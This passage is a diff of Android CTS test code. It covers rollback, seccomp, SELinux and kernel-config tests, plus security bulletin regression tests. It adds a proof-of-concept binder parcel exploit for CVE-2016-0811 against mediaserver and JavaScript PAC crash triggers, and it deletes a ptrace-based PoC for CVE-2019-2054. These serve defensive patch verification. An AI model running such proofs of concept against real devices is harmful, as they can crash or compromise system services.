+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
 
         // At this point, the host test driver will reboot the device and run
         // testApexOnlyConfirmRollback().
@@ -276,9 +301,9 @@
      */
     @Test
     public void testApexAndApkConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
 
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
@@ -299,7 +324,7 @@
      */
     @Test
     public void testApexRollbackExpirationEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
 
@@ -313,8 +338,8 @@
      */
     @Test
     public void testApexRollbackExpirationUpdateApex() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
-        assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNotNull();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNotNull();
         Install.single(TestApp.Apex3).setStaged().commit();
 
         // At this point, the host test driver will reboot the device and run
@@ -327,7 +352,7 @@
      */
     @Test
     public void testApexRollbackExpirationConfirmExpiration() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNull();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNull();
     }
 }
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 60e154c..942ee22 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -26,6 +26,7 @@
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -36,7 +37,6 @@
 public class RollbackManagerHostTest extends BaseHostJUnit4Test {
 
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
-    private static final String TEST_APK_PACKAGE_NAME = "com.android.cts.rollback.lib.testapp.A";
 
     /**
      * Runs the helper app test method on device.
@@ -96,11 +96,13 @@
      * to complete the uninstall.
      *
      * <p>This is needed because the apex cannot be deleted using PackageInstaller API.
+     *
+     * Also abandon sessions left by previous tests so staged-installs won't fail.
      */
+    @Before
     @After
-    public void tearDown() throws Exception {
-        // uninstalling the APK doesn't have much overhead, so we can do it after every case
-        getDevice().uninstallPackage(TEST_APK_PACKAGE_NAME);
+    public void cleanUp() throws Exception {
+        run("cleanUp");
         uninstallShimApexIfNecessary();
     }
 
diff --git a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
index 1aac7239..99080a1 100644
--- a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -29,6 +29,8 @@
 #define ALOGI(...) ALOG(LOG_INFO, LOG_TAG, __VA_ARGS__)
 #define ALOGE(...) ALOG(LOG_ERROR, LOG_TAG, __VA_ARGS__)
 
+#define PER_USER_RANGE  100000
+
 /*
  * Function: testSyscallBlocked
  * Purpose: test that the syscall listed is blocked by seccomp
@@ -77,11 +79,21 @@
 }
 
 static jboolean testSetresuidBlocked(JNIEnv *, jobject, jint ruid, jint euid, jint suid) {
-    return doTestSyscallBlocked([&] {ALOGE("Calling setresuid\n"); setresuid(ruid, euid, suid);});
+    jint userId = getuid() / PER_USER_RANGE;
+    jint userRuid = userId * PER_USER_RANGE + ruid;
+    jint userEuid = userId * PER_USER_RANGE + euid;
+    jint userSuid = userId * PER_USER_RANGE + suid;
+
+    return doTestSyscallBlocked([&] {ALOGE("Calling setresuid\n"); setresuid(userRuid, userEuid, userSuid);});
 }
 
 static jboolean testSetresgidBlocked(JNIEnv *, jobject, jint rgid, jint egid, jint sgid) {
-    return doTestSyscallBlocked([&] {ALOGE("Calling setresgid\n"); setresgid(rgid, egid, sgid);});
+    jint userId = getuid() / PER_USER_RANGE;
+    jint userRgid = userId * PER_USER_RANGE + rgid;
+    jint userEgid = userId * PER_USER_RANGE + egid;
+    jint userSgid = userId * PER_USER_RANGE + sgid;
+
+    return doTestSyscallBlocked([&] {ALOGE("Calling setresgid\n"); setresgid(userRgid, userEgid, userSgid);});
 }
 
 static JNINativeMethod gMethods[] = {
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
index 113ec76..9834561 100644
--- a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -205,7 +205,12 @@
         put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("Kirin810", null);
         put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM7250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("SM8150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM8150P", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+        put("SM8250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
     }};
@@ -222,14 +227,19 @@
      */
     @CddTest(requirement="9.7")
     public void testConfigHardwareMitigations() throws Exception {
+        String mitigations[];
+
         if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
             return;
         }
 
         if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
-            for (String mitigation : lookupMitigations()) {
-                assertTrue("Linux kernel must have " + mitigation + " enabled.",
-                        configSet.contains(mitigation));
+            mitigations = lookupMitigations();
+            if (mitigations != null) {
+                for (String mitigation : mitigations) {
+                    assertTrue("Linux kernel must have " + mitigation + " enabled.",
+                            configSet.contains(mitigation));
+                }
             }
         } else if (CpuFeatures.isX86(mDevice)) {
             assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
index 6db835e..b2f5895 100644
--- a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
@@ -448,7 +448,7 @@
             return;
         }
 
-        if (getDevice().hasFeature("android.hardware.type.automotive")) {
+        if (getDevice().hasFeature("feature:android.hardware.type.automotive")) {
             return;
         }
 
@@ -1021,7 +1021,7 @@
     /**
      * Asserts that a domain may exist. If a domain exists, the cardinality of
      * the domain is verified to be 1 and that the correct process is running in
-     * that domain.
+     * that domain. If the process is running, it is running in that domain.
      *
      * @param domain
      *  The domain or SELinux context to check.
@@ -1032,19 +1032,21 @@
         throws DeviceNotAvailableException {
         List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
         List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-
         if (procs != null) {
             String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
-            + " Found: \"" + procs + "\"";
+                + " Found: \"" + procs + "\"";
             assertEquals(msg, 1, procs.size());
 
             msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
                 + "Found: \"" + procs.get(0) + "\"";
             assertEquals(msg, executable, procs.get(0).procTitle);
         }
-
         if (exeProcs != null) {
-            String msg = "Expected 1 process with executable \"" + executable + "\""
+            String msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+                + " Instead found it running in the domain \"" + exeProcs.get(0).label + "\"";
+            assertNotNull(msg, procs);
+
+            msg = "Expected 1 process with executable \"" + executable + "\""
             + " Found: \"" + procs + "\"";
             assertEquals(msg, 1, exeProcs.size());
 
@@ -1237,7 +1239,7 @@
     /* permissioncontroller may or may not be running */
     @CddTest(requirement="9.7")
     public void testPermissionControllerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:permissioncontroller_app:s0:c66,c256,c512,c768", "com.google.android.permissioncontroller");
+        assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
     }
 
     /*
@@ -1327,6 +1329,14 @@
                 Matcher m = p.matcher(line);
                 if(m.matches()) {
                     String domainLabel = m.group(1);
+                    // clean up the domainlabel
+                    String[] parts = domainLabel.split(":");
+                    if (parts.length > 4) {
+                        // we have an extra categories bit at the end consisting of cxxx,cxxx ...
+                        // just make the domain out of the first 4 parts
+                        domainLabel = String.join(":", parts[0], parts[1], parts[2], parts[3]);
+                    }
+
                     String user = m.group(2);
                     int pid = Integer.parseInt(m.group(3));
                     int ppid = Integer.parseInt(m.group(4));
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 442ee49..5fbfbd5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -43,6 +43,12 @@
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
 
+        <!--__________________-->
+        <!-- Bulletin 2016-02 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -189,11 +195,6 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
-        <!--__________________-->
-        <!-- Bulletin 2019-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2019-2054->/data/local/tmp/CVE-2019-2054" />
-
         <option name="append-bitness" value="true" />
     </target_preparer>
 
@@ -205,6 +206,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="OomCatcher.apk" />
+        <option name="test-file-name" value="MainlineModuleDetector.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
new file mode 100644
index 0000000..61a9ee2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -0,0 +1,6 @@
+function FindProxyForURL(url, host){
+    Object.defineProperty(Promise, Symbol.species, { value: 0 });
+    var p = new Promise(function() {});
+    p.then();
+    return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
new file mode 100644
index 0000000..fc8fd5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138442295.pac
@@ -0,0 +1,7 @@
+function FindProxyForURL(url, host){
+  _v3 = ({ _v7 = (function outer() {  
+                  for ([...[]][function inner() {}] in []) {}
+                })} = {}) => {};
+  _v3();
+  return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
similarity index 92%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
index 1cb925f..3da902d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -15,8 +15,8 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2019-2054
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
@@ -35,6 +35,5 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
+LOCAL_CFLAGS += -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..19cee94
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <mediadrm/ICrypto.h>
+#include <mediadrm/IDrm.h>
+#include <mediadrm/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+  Parcel data, reply;
+  data.writeInterfaceToken(sit->getInterfaceDescriptor());
+  data.writeInt32(0);
+  data.writeInt32(0);
+  static const uint8_t kDummy[16] = {0};
+  data.write(kDummy, 16);
+  data.write(kDummy, 16);
+  const int wsize = 16 * 1024;
+  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+  sp<IMemory> memory = dealer->allocate(wsize);
+  data.writeInt32(wsize);
+  data.writeStrongBinder(IInterface::asBinder(memory));
+  const int ss = 0x1;
+  data.writeInt32(0xffffff00);
+  data.writeInt32(ss);
+  CryptoPlugin::SubSample samples[ss];
+  for (int i = 0; i < ss; i++) {
+    samples[i].mNumBytesOfEncryptedData = 0;
+    samples[i].mNumBytesOfClearData = wsize;
+  }
+  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+  char out[wsize] = {0};
+  reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+                                          0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+  status_t st;
+  sp<ICrypto> crypto =
+      interface_cast<IMediaDrmService>(
+          defaultServiceManager()->getService(String16("media.drm")))
+          ->makeCrypto();
+
+  sp<IDrm> drm = interface_cast<IMediaDrmService>(
+                     defaultServiceManager()->getService(String16("media.drm")))
+                     ->makeDrm();
+
+  Vector<uint8_t> sess;
+  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+  mediaPoc(sit);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
index 58e3c84..48ece98 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -13,6 +13,11 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
 #include <cutils/ashmem.h>
 #include <dlfcn.h>
 #include <fcntl.h>
@@ -34,7 +39,7 @@
 
 #include "IPCThreadState.h"
 #include "binder/IServiceManager.h"
-#include "../includes/common.h"
+
 
 using namespace android;
 
@@ -169,3 +174,10 @@
   pthread_join(t3, NULL);
   return EXIT_SUCCESS;
 }
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
deleted file mode 100644
index 578c90a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c
+++ /dev/null
@@ -1,135 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <err.h>
-#include <errno.h>
-#include <linux/elf.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ptrace.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include "../includes/common.h"
-
-time_t test_started;
-
-int main(void) {
-  pid_t my_pid = -1;
-
-  setbuf(stdout, NULL);
-
-  pid_t child = fork();
-
-  switch (child) {
-    case -1:
-      // child = -1 => the creation of a child process was unsuccessful.
-      err(1, "fork");
-      return EXIT_FAILURE;
-
-    case 0:
-      // child = 0 => Returned to the newly created child process
-      my_pid = getpid();
-      test_started = start_timer();
-
-      while (timer_active(test_started)) {
-        errno = 0;
-        int res = syscall(__NR_gettid, 0, 0);
-        if (res != my_pid) {
-          printf("%d (%s)\n", res, strerror(errno));
-          return EXIT_VULNERABLE;
-        }
-      }
-      return EXIT_SUCCESS;
-
-    default:
-      // child > 0 => Returned to parent process.
-      // The value contains process ID of its newly created child process.
-      sleep(1);
-
-      if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) {
-        err(1, "main() : ptrace attach");
-        return EXIT_FAILURE;
-      }
-
-      int status;
-      if (waitpid(child, &status, 0) != child) {
-        err(1, "main() : wait for child");
-        return EXIT_FAILURE;
-      }
-
-      if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) {
-        err(1, "main() : ptrace syscall entry");
-        return EXIT_FAILURE;
-      }
-
-      if (waitpid(child, &status, 0) != child) {
-        err(1, "main() : wait for child");
-        return EXIT_FAILURE;
-      }
-
-      int syscallno;
-      struct iovec iov = {.iov_base = &syscallno, .iov_len = sizeof(syscallno)};
-
-      if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
-        err(1, "main() : ptrace getregs");
-        return EXIT_FAILURE;
-      }
-
-      printf("main() : seeing syscall %d\n", syscallno);
-      if (syscallno != __NR_gettid) {
-        err(1, "main() : not gettid");
-        return EXIT_FAILURE;
-      }
-
-      syscallno = __NR_swapon;
-      if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
-        err(1, "main() : ptrace setregs");
-        return EXIT_FAILURE;
-      }
-
-      if (ptrace(PTRACE_DETACH, child, NULL, NULL)) {
-        err(1, "main() : ptrace syscall");
-        return EXIT_FAILURE;
-      }
-      // kill child proces
-      int killRet = kill(child, SIGCONT);
-      if (killRet == -1) {
-        printf(
-            "main() : killing child process(%d) with SIGCONT on error (%s)\n",
-            child, strerror(errno));
-      }
-
-      // wait for child process stop
-      int waitPid = waitpid(child, &status, 0);
-      if (waitPid == -1) {
-        perror("main() waitpid: waitpid = -1 and continue wait");
-        return EXIT_FAILURE;
-      }
-
-      if (WIFEXITED(status)) {
-        //  detected vulnarable exit status of child process
-        printf("main() : Exit Vulnerable: child = %d, status=%d\n", child, WEXITSTATUS(status));
-        return WEXITSTATUS(status);
-      }
-      break;
-  }
-
-  return EXIT_SUCCESS;
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6cd53a6..e91e8f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CrashUtils;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
@@ -26,9 +27,15 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import static org.junit.Assert.*;
 
 public class AdbUtils {
@@ -250,4 +257,70 @@
         runCommandLine("rm " + targetPath, device);
         return code;
     }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            String... processPatternStrings) throws Exception {
+        AdbUtils.runCommandLine("logcat -c", device);
+        // account for the poc timer of 5 minutes (+15 seconds for safety)
+        AdbUtils.runPocNoOutput(pocName, device, 315);
+        assertNoCrashes(device, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process.
+     * By default, checks min crash addresses
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+            throws Exception {
+        assertNoCrashes(device, true, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param checkMinAddress if the minimum fault address should be respected
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, boolean checkMinAddress,
+            String... processPatternStrings) throws Exception {
+        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+        Pattern[] processPatterns = new Pattern[processPatternStrings.length];
+        for (int i = 0; i < processPatternStrings.length; i++) {
+            processPatterns[i] = Pattern.compile(processPatternStrings[i]);
+        }
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes =
+                CrashUtils.matchSecurityCrashes(crashes, checkMinAddress, processPatterns);
+
+        if (securityCrashes.length() == 0) {
+            return; // no security crashes detected
+        }
+
+        StringBuilder error = new StringBuilder();
+        error.append("Security crash detected:\n");
+        error.append("Process patterns:");
+        for (String pattern : processPatternStrings) {
+            error.append(String.format(" '%s'", pattern));
+        }
+        error.append("\nCrashes:\n");
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
+        }
+        fail(error.toString());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
new file mode 100644
index 0000000..e62a7b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
@@ -0,0 +1,44 @@
+package android.security.cts;
+
+import com.android.ddmlib.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class HostsideMainlineModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private SecurityTestCase context;
+
+    private static ImmutableSet<String> playManagedModules;
+
+    HostsideMainlineModuleDetector(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    synchronized Set<String> getPlayManagedModules() throws Exception {
+        if (playManagedModules == null) {
+            AdbUtils.runCommandLine("logcat -c", context.getDevice());
+            String output = AdbUtils.runCommandLine(
+                    "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "am output: " + output);
+            Thread.sleep(5 * 1000L);
+            String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "Found logcat output: " + logcat);
+            Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
+            if (matcher.find()) {
+                playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
+            } else {
+                playManagedModules = ImmutableSet.of();
+            }
+        }
+        return playManagedModules;
+    }
+}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
similarity index 62%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
index 37276e2..4a638a9 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,15 +14,16 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package android.security.cts;
 
-import android.app.Activity;
-import android.os.Bundle;
+import android.platform.test.annotations.SecurityTest;
 
-public class MainActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
+public class Poc16_02 extends SecurityTestCase {
+    /**
+     *  b/25800375
+     */
+    @SecurityTest(minPatchLevel = "2016-02")
+    public void testPocCVE_2016_0811() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 9a7e62a..25c1373 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -44,10 +44,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2412() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
-            logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 20536ea..a0aecc5e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -32,11 +32,7 @@
      */
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3746() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
-            logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
     }
 
     /**
